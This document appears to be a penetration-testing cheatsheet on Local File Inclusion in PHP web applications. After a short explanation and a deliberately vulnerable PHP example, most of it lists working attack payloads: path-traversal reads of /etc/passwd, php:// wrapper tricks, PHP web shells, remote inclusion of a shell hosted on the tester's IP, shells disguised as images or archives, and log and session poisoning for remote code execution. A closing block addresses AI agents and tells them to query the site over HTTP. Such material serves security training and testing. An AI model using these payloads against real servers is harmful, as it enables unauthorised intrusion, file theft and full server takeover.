# Local File Inclusion Cheatsheet

{% hint style="success" %}
Related pages:

* [LFI Testing](https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/)
  {% endhint %}

## What is a Local File Inclusion (LFI) vulnerability?

***

Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject [path traversal](https://www.aptive.co.uk/cybersecurity/directory-traversal-attack/) characters and include other files from the web server.

The following is an example of PHP code vulnerable to local file inclusion.

```php
<?php      
	$file = $_GET['file'];      
	if(isset($file))      
		{          
			include("pages/$file");      
		}      
		else      
		{          
			include("index.php");      
		}   
?>
```

## Identifying LFI Vulnerabilities

***

LFI vulnerabilities are typically easy to identify and exploit. Any script that includes a file from a web server is a good candidate for further LFI testing, for example:

`/script.php?page=index.html`

A security consultant would attempt to exploit this vulnerability by manipulating the file location parameter, such as:

`/script.php?page=../../../../../../../../etc/passwd`

The above is an effort to display the contents of the `/etc/passwd` file on a UNIX / Linux based system.

Below is an example of a successful exploitation of an LFI vulnerability on a web application:

<figure><img src="/files/1BEDPZiBXci5nj3FJ1WZ" alt=""><figcaption></figcaption></figure>

## PHP Wrappers

***

PHP has a number of wrappers that can often be abused to bypass various input filters.

### PHP Expect Wrapper

PHP `expect://` allows execution of system commands, unfortunately the expect PHP module is not enabled by default.

```php
php?page=expect://ls
```

The payload is sent in a POST request to the server such as:

```php
/fi/?page=php://input&cmd=ls
```

Example using `php://input` against DVWA:

* this will execute the command `ls`:

<figure><img src="/files/isNmvY4FO9wJRheydkUa" alt=""><figcaption><p><em>Image description: The output from the command “ls” is rendered above the DVWA banner.</em></p></figcaption></figure>

### PHP php\://filter

`php://filter` allows a pen tester to include local files and base64 encodes the output. Therefore, any `base64` output will need to be decoded to reveal the contents.

An example using DVWA:

```php
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
```

<figure><img src="/files/mHlEk5zlhMi2JbWYi7e1" alt=""><figcaption><p><em>Image description: Image showing the base64 encoded text at the top of the rendered page</em></p></figcaption></figure>

Base64 decoding the string provides the `/etc/passwd` file:

<figure><img src="/files/7oUlioW5N7hOcVlav0a7" alt=""><figcaption><p><em>Image description: An image showing the base64 decoded output from /etc/passwd on a UNIX / Linux system</em></p></figcaption></figure>

`php://filter` can also be used without base64 encoding the output using:

```php
?page=php://filter/resource=/etc/passwd
```

<figure><img src="/files/c2lqnYfEkRjYNelrVyGO" alt=""><figcaption><p><em>Image description: An image showing the output from /etc/passwd on a UNIX / Linux system using php://filter</em></p></figcaption></figure>

### PHP ZIP Wrapper LFI

The zip wrapper processes uploaded `.zip` files server side allowing the upload of a zip file using a vulnerable file function exploitation of the zip filter via an LFI to execute. A typical attack example would look like:

1. Create a PHP reverse shell
2. Compress to a `.zip` file
3. Upload the compressed shell payload to the server
4. Use the zip wrapper to extract the payload using: `php?page=zip://path/to/file.zip%23shell`
5. The above will extract the zip file to shell, if the server does not append `.php` rename it to `shell.php` instead

If the file upload function does not allow zip files to be uploaded, attempts can be made to bypass the file upload function (see: OWASP file upload testing document).

## LFI via /proc/self/environ

***

If it’s possible to include `/proc/self/environ` via a local file inclusion vulnerability, then introducing source code via the User Agent header is a possible vector. Once code has been injected into the User Agent header a local file inclusion vulnerability can be leveraged to execute `/proc/self/environ` and reload the environment variables, executing your reverse shell.

## Useful Shells

***

Useful tiny PHP back doors for the above techniques:

```php
<? system('uname -a');?>
```

## Null Byte Technique

***

Null byte injection bypasses application filtering within web applications by adding URL encoded “Null bytes” such as `%00`. Typically, this bypasses basic blacklist filters by adding additional null characters that are then allowed or not processed by the backend.

Some practical examples of null byte injection for LFI:

```php
vuln.php?page=/etc/passwd%00  
vuln.php?page=/etc/passwd%2500
```

## Truncation LFI Bypass

***

Truncation is another blacklist bypass technique. By injecting long parameter into the vulnerable file inclusion mechanism may truncate (cut it off) the input parameter, which may bypass the input filter.

## Log File Contamination

***

Log file contamination is the process of injecting source code into log files on the target system. This is achieved by introducing source code via other exposed services on the target system which the target operating system / service will store in log files. For example, injecting PHP reverse shell code into a URL, causing syslog to create an entry in the apache access log for a 404 page not found entry. The apache log file would then be parsed using a previously discovered file inclusion vulnerability, executing the injected PHP reverse shell.

After introducing source code to the target systems log file(s) the next step is identifying the location of the log file. During the recon and discovery stage of a security assessment the target operating system and web server would have been identified, a good starting point would be looking up the default log paths for the identified operating system and web server (if they are not already known by the consultant). FuzzDB’s Burp LFI payload lists can be used in conjunction with Burp intruder to quickly identify valid log file locations on the target system.

Some commonly exposed services on a Linux / UNIX systems are listed below:

### Apache / Nginx

Inject code into the web server access or error logs using netcat, after successful injection parse the server log file location by exploiting the previously discovered LFI vulnerability. If the web server access / error logs are long, it may take some time execute your injected code.

## Local File Inclusion Quickies

| Command                                                                                           | Description                                               |
| ------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| **Basic LFI**                                                                                     |                                                           |
| `/index.php?language=/etc/passwd`                                                                 | Basic LFI                                                 |
| `/index.php?language=../../../../etc/passwd`                                                      | LFI with path traversal                                   |
| `/index.php?language=/../../../etc/passwd`                                                        | LFI with name prefix                                      |
| `/index.php?language=./languages/../../../../etc/passwd`                                          | LFI with approved path                                    |
| **LFI Bypasses**                                                                                  |                                                           |
| `/index.php?language=....//....//....//....//etc/passwd`                                          | Bypass basic path traversal filter                        |
| `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`          | Bypass filters with URL encoding                          |
| `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]` | Bypass appended extension with path truncation (obsolete) |
| `/index.php?language=../../../../etc/passwd%00`                                                   | Bypass appended extension with null byte (obsolete)       |
| `/index.php?language=php://filter/read=convert.base64-encode/resource=config`                     | Read PHP with base64 filter                               |

### Remote Code Execution

| Command                                                                                                                     | Description                           |
| --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- |
| **PHP Wrappers**                                                                                                            |                                       |
| `/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id`                    | RCE with data wrapper                 |
| `curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"` | RCE with input wrapper                |
| `curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"`                                                        | RCE with expect wrapper               |
| **RFI**                                                                                                                     |                                       |
| `echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>`                              | Host web shell                        |
| `/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`                                                     | Include remote PHP web shell          |
| **LFI + Upload**                                                                                                            |                                       |
| `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`                                                                     | Create malicious image                |
| `/index.php?language=./profile_images/shell.gif&cmd=id`                                                                     | RCE with malicious uploaded image     |
| `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`                                              | Create malicious zip archive 'as jpg' |
| `/index.php?language=zip://shell.zip%23shell.php&cmd=id`                                                                    | RCE with malicious uploaded zip       |
| `php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg`                                                         | Create malicious phar 'as jpg'        |
| `/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`                                                  | RCE with malicious uploaded phar      |
| **Log Poisoning**                                                                                                           |                                       |
| `/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`                                                 | Read PHP session parameters           |
| `/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E`                                               | Poison PHP session with web shell     |
| `/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`                                          | RCE through poisoned PHP session      |
| `curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'`                                         | Poison server log                     |
| `/index.php?language=/var/log/apache2/access.log&cmd=id`                                                                    | RCE through poisoned PHP session      |

### Misc

| Command                                                                                                                                                                              | Description                |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------- |
| `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287`                                      | Fuzz page parameters       |
| `ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287`                                                      | Fuzz LFI payloads          |
| `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287` | Fuzz webroot path          |
| `ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287`                                                                      | Fuzz server configurations |
| [LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)                                                                                                  |                            |
| [LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)                                                                                |                            |
| [Webroot path wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt)                                 |                            |
| [Webroot path wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt)                             |                            |
| [Server configurations wordlist for Linux](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux)                                                    |                            |
| [Server configurations wordlist for Windows](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows)                                                |                            |

### File Inclusion Functions

| Function                     | Read Content | Execute | Remote URL |
| ---------------------------- | :----------: | :-----: | :--------: |
| **PHP**                      |              |         |            |
| `include()`/`include_once()` |      Yes     |   Yes   |     Yes    |
| `require()`/`require_once()` |      Yes     |   Yes   |     No     |
| `file_get_contents()`        |      Yes     |    No   |     Yes    |
| `fopen()`/`file()`           |      Yes     |    No   |     No     |
| **NodeJS**                   |              |         |            |
| `fs.readFile()`              |      Yes     |    No   |     No     |
| `fs.sendFile()`              |      Yes     |    No   |     No     |
| `res.render()`               |      Yes     |   Yes   |     No     |
| **Java**                     |              |         |            |
| `include`                    |      Yes     |    No   |     No     |
| `import`                     |      Yes     |   Yes   |     Yes    |
| **.NET**                     |              |         |            |
| `@Html.Partial()`            |      Yes     |    No   |     No     |
| `@Html.RemotePartial()`      |      Yes     |    No   |     Yes    |
| `Response.WriteFile()`       |      Yes     |    No   |     No     |
| `include`                    |      Yes     |   Yes   |     Yes    |


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viceintelpro.gitbook.io/viceintelpro/offensive-security/file-inclusion/local-file-inclusion-cheatsheet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
